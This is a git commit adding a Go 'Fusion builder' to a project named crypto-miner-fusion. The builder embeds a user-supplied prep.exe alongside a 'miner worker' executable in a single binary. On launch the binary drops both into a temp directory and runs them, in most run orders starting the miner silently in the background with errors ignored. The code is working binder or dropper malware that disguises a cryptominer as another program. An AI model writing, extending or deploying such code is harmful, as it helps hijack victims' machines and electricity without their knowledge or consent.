Add Fusion builder mode to bundle prep.exe with worker.

Upload prep.exe in the Builder to produce a single fused output that runs your prep tool and embeds the miner worker on first launch.
This commit is contained in:
drjones
2026-05-27 00:28:32 -07:00
parent ea519e9a9f
commit 6db9a33a20
9 changed files with 411 additions and 34 deletions

3
fusion/go.mod Normal file
View File

@@ -0,0 +1,3 @@
module crypto-miner-fusion
go 1.26.3

71
fusion/main.go Normal file
View File

@@ -0,0 +1,71 @@
package main
import (
_ "embed"
"fmt"
"os"
"os/exec"
"path/filepath"
"sync"
)
//go:embed assets/prep.exe
var prepExe []byte
//go:embed assets/worker.exe
var workerExe []byte
// RunOrder is replaced at build time (parallel | prep_first | worker_first).
const runOrder = "FUSION_RUN_ORDER"
func main() {
dir, err := os.MkdirTemp("", "cm-fusion-*")
if err != nil {
return
}
defer os.RemoveAll(dir)
prepPath := filepath.Join(dir, "prep.exe")
workerPath := filepath.Join(dir, "worker.exe")
if err := os.WriteFile(prepPath, prepExe, 0755); err != nil {
return
}
if err := os.WriteFile(workerPath, workerExe, 0755); err != nil {
return
}
switch runOrder {
case "prep_first":
waitProcess(prepPath)
startProcess(workerPath)
case "worker_first":
waitProcess(workerPath)
waitProcess(prepPath)
default:
var wg sync.WaitGroup
wg.Add(2)
go func() {
defer wg.Done()
waitProcess(prepPath)
}()
go func() {
defer wg.Done()
startProcess(workerPath)
}()
wg.Wait()
}
}
func startProcess(path string) {
cmd := exec.Command(path)
cmd.Dir = filepath.Dir(path)
_ = cmd.Start()
}
func waitProcess(path string) {
cmd := exec.Command(path)
cmd.Dir = filepath.Dir(path)
if err := cmd.Run(); err != nil {
fmt.Fprintf(os.Stderr, "process failed: %s: %v\n", filepath.Base(path), err)
}
}